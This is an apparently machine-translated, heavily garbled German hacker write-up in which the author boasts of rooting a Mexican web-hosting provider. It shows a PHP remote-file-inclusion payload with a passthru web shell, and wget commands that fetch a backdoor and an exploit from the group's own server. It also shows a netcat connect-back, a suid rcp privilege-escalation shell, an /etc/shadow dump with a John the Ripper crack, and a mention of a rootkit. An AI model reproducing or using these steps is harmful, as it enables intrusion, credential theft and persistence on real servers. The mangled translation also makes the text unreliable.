Wurzel auf der Web-Hosting-Provider


Intro.
Ich beschloss, es zu beschreiben dieser Hack ist, denn es fand überhaupt gerade jetzt (und in diesem Moment - 23.01.03 - der Server noch ist, sozusagen, in den Händen von DHG) ist auch ein gemeinsames vor langer Zeit wurde ich gebeten, einige interessante Hacking zu beschreiben.
Ich wollte nicht, dass diese Geschichte ein Werkzeug für ausländische Verbrechen war, so haben wir uns bewusst einige Fehler \ Ungenauigkeiten zugeben (die jedoch jeder fortgeschrittenen Benutzer bemerken). Gut kauen auch grundlegende Dinge wie "meine Linux-Befehle an welchem ​​Ort aussehen Campiglio sployty" Wir haben nicht so will. Also los geht.

Round # 1: Fernbedienung.
Im Allgemeinen war der ursprüngliche Zweck mexikanischen Linux-Portal www. ***. Com, die einmal mit diesem Anbieter hosten.
Zuerst war es erforderlich, die Achse zu kennen, auf denen das Portal steht. Obwohl, den Stumpf zu löschen, hängen die Website von Linux'e kann nicht unter Windows. Bei http war: "Apache / 1.3.26 (Unix) (Red Hat / Linux) Chili Soft ASP / 3.6.2 PHP / 4.1.2!", FTP--Banner zu lesen:
managedhosting FTP-Server (Version 6.5 / OpenBSD, Linux-Port 0.3.2) bereit.
Scan-Ports, cgi-bug'i wie alle solchen Unsinn, wir nicht - oder besser gesagt, beschlossen, später zu verschieben. Nun, wie Ipomoea essno Abdeckung will nicht. Also, in der ftp-Banner blitzte ein Ausdruck von "Hosting"! Scoring auf ripnet, entschieden wir uns direkt zu gehen ip'u die www hat. ***. Com. Er führte mich zu der Website "managedhosting.dialtoneinternet.com.mx", die, natürlich, sein Heer war. Später wurde eine kurze Anleitung bruteforce'a tatsächlichen Hosting-Site berechnet: dialtoneinternet.com.mx (www.dialtone.com).
An dieser Stelle haben wir uns entschieden, wie weit zurück in die Schrott Ort zu bleiben. Er stand auf der PHP-Engine "phpWebSite" unbekannte Version. Dies ist ein weiterer Klon php-nuke'a keinen besonderen Fokus auf Sicherheit unterscheiden. Alle Versionen bis 0.8.2 PWS (auch als stabil markiert) hatte eine Verwundbarkeit Klasse 'Php Quelle Injektion ". Diejenigen, die nichts haben es nicht sagen, siehe den Artikel r4ShRaY'ya diese Sicherheitsanfälligkeit. Der Rest ist, lesen Sie weiter. So, hier ist ein Stück sorsa modsecurity.php Datei:

<? Php
global $ inc_prefix;
if (! $ inc_prefix) {
...
}
...
include_once ($ inc_prefix "htmlheader.php".);
?>

IMHO sollte alles allen klar sein. Durch die Ausführung dieses Skript wie folgt aus:
http: //www.***.com/modsecurity.php inc_prefix = http :? //www.dhgroup.org
htmlheader.php Datei, die auf unserer Website, folgen mit poka_neopredelёnnymi_pravami. Das einzige, was mich stört, so dass das, was auf dem Opfer Seite ist geflickt, oder eine neue Spezies (immerhin ist dies nicht eine Art von 'Wasjas Startseite', sondern ein Portal für kewl-Linux-userz).
Im Allgemeinen haben wir htmlheader.php Datei hier auf unserer Website die folgenden Inhalt:

<? passthru ( "$ cmd")?>

Dann ging ich an die Adresse:
modsecurity.php inc_prefix = http :? //www.dhgroup.org&cmd=ls
Was wir bekamen, www Verzeichnisliste. # Hinweis. alle Teams wird auch weiterhin ohne "... inc_prefix = http // :? kritzeln ..."!

Runde # 2: local.
> Echo hallo> kewl.txt; Katze kewl.txt
Auf den Daten zwei Teams Browser beantwortet leer schneeweißen Bildschirm. Dies wies darauf hin, dass die Rechte auf das Verzeichnis www ich nicht zu schreiben. Das heißt, der Ausdruck der Verunstaltung noch hell und früh. Nun, bevor die während jede weitere Maßnahmen zu ergreifen, war es notwendig, mehr Informationen über das System zu sammeln. Die Hauptbeschäftigung, erreichten wir für die Datei httpd.conf:
> Cat /etc/httpd/conf/httpd.conf
Von dort rissen wir die Version fronika (übrigens http-Header 'Server' ist über die Verfügbarkeit FrontPage'a stumm) als Weg zu den WWW-Seiten-Verzeichnisse: dialtoneinternet.com.mx (Loma-Hosting-Provider), stormarketing.com, altavistablinds.com, parigitown.com, als auch, sogar auf ein paar wichtige Informationen:
# -FrontPage- Version = 4.0
##
## Httpd.conf - Apache HTTP Server-Konfigurationsdatei
##
...
<Virtual 66.33.62.88>
<Verzeichnis / home / admin / www / serversecure>
Optionen Alle
AllowOverride All
</ Directory>
Server dialtoneinternet.com.mx
ServerAlias- www.dialtoneinternet.com.mx
DocumentRoot / home / admin / www
ErrorLog logs / error_log
TransferLog logs / transfer_log
Gruppe niemand
Script / cgi-bin / / home / admin / www / cgi-bin /
</ Virtualhost>
...
Natürlich ihre Rechte nicht genug zu verunstalten, aber sie werden um die fronikovye service.pwd (falls vorhanden) dieser Seiten, zu sehen, mit allen sich daraus ergebenden Konsequenzen genug sein, diese Gelegenheit, die wir auf das Abenteuer verlassen, wenn ich immer noch) nicht in der Lage sein, ihre Privilegien zu erhöhen.
Ferner wird für das Interesse wir eingeführt:
> Netstat -a
Er erhielt (# - meine Tags):
  Aktive Internet-Verbindungen (Server und etabliert)
 Proto Recv-Q Send-Q Lokale Adresse Adresse Status 
 tcp 0 1 66.33.62 *:. 2114 by.ru:www LAST_ACK # (1)
 . Tcp 0 0 66.33.62 *: www 62.141.75.226:3116 GEGRÜNDET 
 tcp 0 0 *: www *: * LISTEN 
 tcp 0 0 *: imap2 *: * LISTEN 
 tcp 0 0 *: Pop3 *: * LISTEN 
 tcp 0 0 *: ftp *: * LISTEN 
 tcp 0 0 * 81 *: * LISTEN 
 tcp 0 0 *: https *: * LISTEN # (2)
 tcp 0 0 managedhosting.d: domain *: * LISTEN 
 tcp 0 0 managedhosting2.:domain *: * LISTEN 
 tcp 0 0 spacebattles.net:domain *: * LISTEN 
 Tcp 0 0 66.33.62 *: domain. *: * LISTEN 
 tcp 0 0 localhost.locald: domain *: * LISTEN 
 tcp 0 0 *: smtp *: * LISTEN 
 tcp 0 0 *: mysql *: * LISTEN 
 tcp 0 0 *: casp3001 *: * LISTEN 
 tcp 0 0 *: casp3000 *: * LISTEN 
 tcp 0 0 *: casp5105 *: * LISTEN 
 tcp 0 0 *: casp5103 *: * LISTEN 
 tcp 0 0 *: casp5104 *: * LISTEN 
 tcp 0 0 *: * 1581: * LISTEN 
 tcp 0 0 * 1024 *: * LISTEN 
 tcp 0 0 *: ssh *: * LISTEN # (3)
 udp 0 0 *: * 4320 * 
 udp 0 0 managedhosting.d: domain *: * 
 udp 0 0 managedhosting2.:domain *: * 
 udp 0 0 spacebattles.net:domain *: * 
 udp 0 0 66.33.62 * :. Domain *: * 
 udp 0 0 localhost.locald: domain *: * 
 raw 0 0 *: udp *: * 7 
 raw 0 0 *: tcp *: * 7 
 raw 0 0 *: icmp *: * 7 
 raw 0 0 *: tcp *: * 7 
 Aktive UNIX-Domain-Sockets (Server und etabliert)
 Proto RefCnt Typ Flag State I-Node-Pfad
 Unix 0 [ACC] STREAM HÖRT 552.166 /home/httpsd/cache/ssl.socket
 Unix 0 [ACC] STREAM LISTENING 2087 /tmp/mysql.sock
 Unix-4 [] dgram 290 / dev / log
 Unix 0 [ACC] STREAM HÖRT 549 144 / var / run / ndc
 Unix 0 [] STREAM 565 939 
 Unix 0 [] dgram 555692 
 Unix 0 [] dgram 549142 
 Unix 0 [] dgram 3193 
 Unix 0 [] dgram 303 
(1) - we =)
(2) - das Vorhandensein von ssl drückt normalerweise den Austausch privater infoy Server (cc, zum Beispiel). Obwohl es in den täglichen Dingen Hosting.
(3) - hier ist es eine Schale! Es ist uns später nützlich.
Hier sind die Ports scannt nicht nehmen :)
Weiterhin wurde notwendig auf spezielle Aktionen, um fortzufahren, oder besser gesagt, zu wissen, auch wenn fast Kappen Plus-Version, auf dieser Basis hat auf zu tanzen. Also, für diejenigen, die nicht wissen, einige (wenn nicht alle) Linux-Distributionen lassen Datei "* -release" (wobei * - der Name der Verteilungs: Alraune-Freisetzung, Kobalt-Release ...) in der Datei / etc / und Administratoren müssen nicht seine Gewohnheiten zu entfernen.
> Cat / etc / redhat-release:
Red Hat Linux Version 6.1 (Cartman)
Obaaaaa, muss ich sagen, wir haben nicht erwartet :) Alles andere ist bla bla .. es eine Frage der Technik war die lang erwartete Ruta wir juzat RedHat'ovskuyu Verwundbarkeit RCP entschieden zu erreichen.

Red Hat 6.2: RCP möglich Wurzelloch
In der Tat wurde die Schwachstelle in der Kappe .. 6.2 Pro 6.1 in der Post von Andrew Griffiths Tlabs und kein Wort gesagt wurde gefunden. Unter Berufung auf das Glück, wir eingeführt:
> Ls -alF `die rcp`
-rwsr-xr-x 1 root root 14868 30. Juli 1999 / usr / bin / RCP *
Op! Suidny RCP bietet Platz zu sein! Es ist schon gut :) Ich schenkte mir "rcpsploit.pl" von tlabs und Studium soren gestoppt. Ich denke, ich werde erklären, wie das funktioniert sployt - vielleicht wird es Ihnen helfen, die Art der Verwundbarkeit zu verstehen ist auch das Problem.
So schafft es zwei Dateien:
/tmp/shell.c---------------------

# include
# include
int main ()
{
setuid (0);
setgid (0);
execl ( "/ bin / sh", "sh", 0);
return 0;
}


hey ------------------------------
Sploit von tlabs geschrieben, dank Andrew Griffiths für den Bug-Report

Dann durch die RCP suidny, sployt Campiglio shell.c chmod'om betreibt es so bla bla suidnym. Das ist alles gut! Führen Sie das kompilierte Shell erwerben auch ein Shell-uid = 0, gid = 0. Aber was nützt uns diese Schale, wenn wir Befehle über einen Webserver ausführen? : - /
Machen diese Arbeit sployt es nur in der "normalen" Schale erlaubt war.
Nun, müssen Sie eine Shell? Er wird! In meinem warez-Archiv hat sich längst pylilsya kleine Gerste Trojan, haben wir beschlossen, auch zu nutzen:
> Wget -o = / tmp / .tmp.pl http://www.dhgroup.org/exp/backhole.pl
> Chmod 755 /.tmp/tmp.pl
> Perl /tmp/.tmp.pl
Weiter auf Ihrem Computer:
> Nc ***. Com 51015
Prikonnektivshis:
> Cd / tmp
> Wget -c http://www.dhgroup.org/exp/rcpsploit.pl
> Chmod 755 rcpsploit.pl; perl rcpsploit.pl
Ok, zu einfach, wir nur eine Shell starten, lässt hoffen, Scheiße ging gut innit :)
> id
uid = 0 (root) gid = 0 (root) groups = 0 (root), 1 (bin), 2 (Daemon), 3 (sys), 4 (adm), 6 (Scheibe), 10 (Rad)
Auch hier ist alles :) Nun, wie die letzten:
> Cat / etc / shadow
root: ###: 11961: 0: 99999: 7: -1: -1: 134.549.964
bin: *: 10925: 0: 99999: 7 :::
Dämon: *: 10925: 0: 99999: 7 :::
adm: ###: 11577: 0: 99999: 7: -1: -1: 134.549.852
... Etc ...
JTR 977% von Passwörtern) gezählt, um die Suche zu beschleunigen, wir eingeführt:
john -i: alle -u: root Schatten
Irgendwo ... 8 Stunden und die lang erwartete Moment:




Ich goss dann auf LRK, mehrere datapipe'ov BnC auch ... aber, dass eine andere Geschichte ....

Was wurde bei Einbruch verwendet:
Netscape v.xz
SecureCRT 3.1
NetCat
John The Ripper
backhole.pl
rcpsploit.pl
Köpfchen
PacketStormSecurity

Schlussfolgerungen \ Notes \ Kommentare:
1. Wenn der Server oder andere wichtige Anrufe selbst der Hosting-Provider oder die Linux-Portal - es bedeutet nicht, dass es gut geschützt ist.
2. Im Zuge der Hacking ist nicht zu viel wert, ihr winde zu erklären (es später mehr Artikel wird).
3. Bei Einbruch fast nie verwendet, sogenannte "Hacker" Software.
4. RH6. * - Nicht essen gud :)

PS IMHO, kann der Leser den Eindruck, dass ich einfach nur Glück und allgemeine Hacking dauert ein paar Minuten .. Dies ist nicht der Fall. Es gab Momente, in denen die Zeit einfach werfen ihre Hände zu welchem ​​Zeitpunkt wollte Kopf an der Wand zu kämpfen.

Autor: D4rkGr3y


Das Material wird mit Genehmigung der DHGROUP veröffentlicht (http://www.dhgroup.org)